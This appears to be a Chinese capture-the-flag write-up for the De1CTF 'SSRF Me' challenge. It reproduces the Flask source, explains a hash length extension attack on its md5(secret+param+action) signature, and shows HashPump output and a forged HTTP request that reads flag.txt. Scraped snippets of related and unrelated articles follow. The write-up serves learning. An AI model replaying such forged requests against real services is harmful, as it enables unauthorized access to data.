哈希长度拓展攻击之De1CTF - SSRF Me
题目考查:python代码审计、hash长度拓展攻击
0x01
- #! /usr/bin/env python
- #encoding=utf-8
- from flask import Flask
- from flask import request
- import socket
- import hashlib
- import urllib
- import sys
- import os
- import json
- reload(sys)
- sys.setdefaultencoding('latin1')
- app = Flask(__name__)
- secert_key = os.urandom(16)
- class Task:
- def __init__(self, action, param, sign, ip):
- self.action = action
- self.param = param
- self.sign = sign
- self.sandbox = md5(ip)
- if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
- os.mkdir(self.sandbox)
- def Exec(self):
- result = {}
- result['code'] = 500
- if (self.checkSign()):
- if "scan" in self.action:
- tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
- resp = scan(self.param)
- if (resp == "Connection Timeout"):
- result['data'] = resp
- else:
- print resp
- tmpfile.write(resp)
- tmpfile.close()
- result['code'] = 200
- if "read" in self.action:
- f = open("./%s/result.txt" % self.sandbox, 'r')
- result['code'] = 200
- result['data'] = f.read()
- if result['code'] == 500:
- result['data'] = "Action Error"
- else:
- result['code'] = 500
- result['msg'] = "Sign Error"
- return result
- def checkSign(self):
- if (getSign(self.action, self.param) == self.sign):
- return True
- else:
- return False
- #generate Sign For Action Scan.
- @app.route("/geneSign", methods=['GET', 'POST'])
- def geneSign():
- param = urllib.unquote(request.args.get("param", ""))
- action = "scan"
- return getSign(action, param)
- @app.route('/De1ta',methods=['GET','POST'])
- def challenge():
- action = urllib.unquote(request.cookies.get("action"))
- param = urllib.unquote(request.args.get("param", ""))
- sign = urllib.unquote(request.cookies.get("sign"))
- ip = request.remote_addr
- if(waf(param)):
- return "No Hacker!!!!"
- task = Task(action, param, sign, ip)
- return json.dumps(task.Exec())
- @app.route('/')
- def index():
- return open("code.txt","r").read()
- def scan(param):
- socket.setdefaulttimeout(1)
- try:
- return urllib.urlopen(param).read()[:50]
- except:
- return "Connection Timeout"
- def getSign(action, param):
- return hashlib.md5(secert_key + param + action).hexdigest()
- def md5(content):
- return hashlib.md5(content).hexdigest()
- def waf(param):
- check=param.strip().lower()
- if check.startswith("gopher") or check.startswith("file"):
- return True
- else:
- return False
- if __name__ == '__main__':
- app.debug = False
- app.run(host='0.0.0.0',port=80)
0x02
0x03
0x04
- 已知md5(secert_key+param+scan)
- 求md5(secert_key+param+scanread)
因此便想到hash长度拓展攻击,详细介绍:https://joychou.org/web/hash-length-extension-attack.html
0x05

- root@kali:~/HashPump# hashpump
- Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
- Input Data: scan
- Input Key Length: 24
- Input Data to Add: read
- d7163f39ab78a698b3514fd465e4018a
- scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
将得到的数据替换到数据包中即可(\x替换为%)
- GET /De1ta?param=flag.txt HTTP/1.1
- Host: 139.180.128.86
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- DNT: 1
- Connection: close
- Upgrade-Insecure-Requests: 1
- Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read; sign=d7163f39ab78a698b3514fd465e4018a
哈希长度拓展攻击之De1CTF - SSRF Me的更多相关文章
- 实验吧_天下武功唯快不破&让我进去(哈希长度拓展攻击)
天下武功唯快不破 第一反应就去抓包,看到返回包的header中有FLAG的值,base64解码后得到下图所示 这就要求我们在请求头中post相应key的值,我直接在burp中尝试了多次都没有用,想起来 ...
- [php代码审计] 哈希长度拓展攻击
已知: 1. salt的长度. 2. message==“adminadmin”. 3. MD5(salt+message)的值. 求: MD5(salt+message+填充数据+任意字符串)的值. ...
- 浅谈HASH长度拓展攻击
前言 最近在做CTF题的时候遇到这个考点,想起来自己之前在做实验吧的入门CTF题的时候遇到过这个点,当时觉得难如看天书一般,现在回头望去,仔细琢磨一番感觉也不是那么难,这里就写篇文章记录一下自己的学习 ...
- 哈希长度扩展攻击的简介以及HashPump安装使用方法
哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段.该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ ...
- 哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法
去年我写了一篇哈希长度扩展攻击的简介以及HashPump安装使用方法,本来已经足够了,但HashPump还不是很完善的哈希长度扩展攻击,HashPump在使用的时候必须提供original_data, ...
- MD5加密及Hash长度拓展攻击【通俗易懂】
先放一个简单点的利用了Hash长度拓展攻击的题目 if($COOKIE["getmein"] === md5($secret . urldecode($username . $pa ...
- hash长度扩展攻击
这里面就放一张百度百科的解释吧,emmm 反正我是看不懂还是做一下题来巩固一下吧 CTF中的hash长度攻击 进入网页你会发现页面显示  我这里没有看到什么可以利用的,抓了一下包也没有什么有可以利 ...
- 实验吧Web-中-让我进去(Hash长度扩展攻击、加盐密码及Linux下hashpump的安装使用)
打开网页,测试开始,注入费老大劲,看了大佬的blog才知道怎么干. bp抓包,观察发现cookie中有个source=0,在repeater中修改为source=1,然go一下,出来了一段源代码. $ ...
- session安全&&CBC字符反转攻击&&hash拓展攻击
session安全 p神写的: 在传统PHP开发中,$_SESSION变量的内容默认会被保存在服务端的一个文件中,通过一个叫"PHPSESSID"的Cookie来区分用户.这类se ...
随机推荐
- ubuntu下编译C++程序
1.CMake 定义:CMake是一个跨平台编译工具,可以用来自动输出makefile文件: 用法:(1)想要自动生成makefile,还需要编写对应的CMakeLists.txt文件: (2)在CM ...
- CSS布局:sticky定位
stick定位一如其名:它随“正常”文档流而动,直到规定位置,尔后“粘”在那里:或者,当它发现自己可以跟随“正常”文档流而脱离sticky位置时,就果断离开从而加入文档流. 代码与效果如下: < ...
- java 堆调优
一.查看kafka集群的broker的堆内存使用情况 1>.使用jstat查看gc的信息([root@kafka116 ~]# jstat -gc 12698 1s 30) 参数说明:S0C:第 ...
- [ARM-Linux开发]Linux下加载.ko驱动模块的两种方法:insmod与modprobe
假设要加载的驱动程序模块名为SHT21.ko 加载驱动模块 方法一: 进入SHT21.ko驱动模块文件所在的目录,然后直接 insmod SHT21.ko 即可 方法二: 将SHT21.ko文 ...
- csu 1976: 搬运工小明
1976: 搬运工小明 Submit Page Summary Time Limit: 2 Sec Memory Limit: 128 Mb Submitted: 94 ...
- csu 1984: LXX的能力值
1984: LXX的能力值 Submit Page Summary Time Limit: 3 Sec Memory Limit: 128 Mb Submitted: 17 ...
- 【记录】【mysql】的REPLACE()用法
操作前数据 操作 UPDATE `test_replace` SET PASSWORD ') WHERE id REPLACE(PASSWORD, '1', '77')意思就是password中的1替 ...
- 在JDBC中实现SQL语句的模糊查询
在JDBC中实现SQL语句的模糊查询 在大多数情况下我们可以在JDBC中写入sql语句通过占位符的方式来直接查询,但是如果要进行模糊查询,需要转义字符才能够正常查询. sql语句: select * ...
- 《Effective Objective-C》概念篇
1.运行时 OC 语言由 Smalltalk(20世纪70年代出现的一种面向对象的语言) 演化而来,后者是消息型语言的鼻祖. OC 使用动态绑定的消息结构,在运行时检查对象类型. 使用消息结构的语言, ...
- Ubuntu 编译安装 nginx
有关博客: <Windows 编译安装 nginx 服务器 + rtmp 模块>.<Ubuntu 编译安装 nginx>.<Arm-Linux 移植 Nginx> ...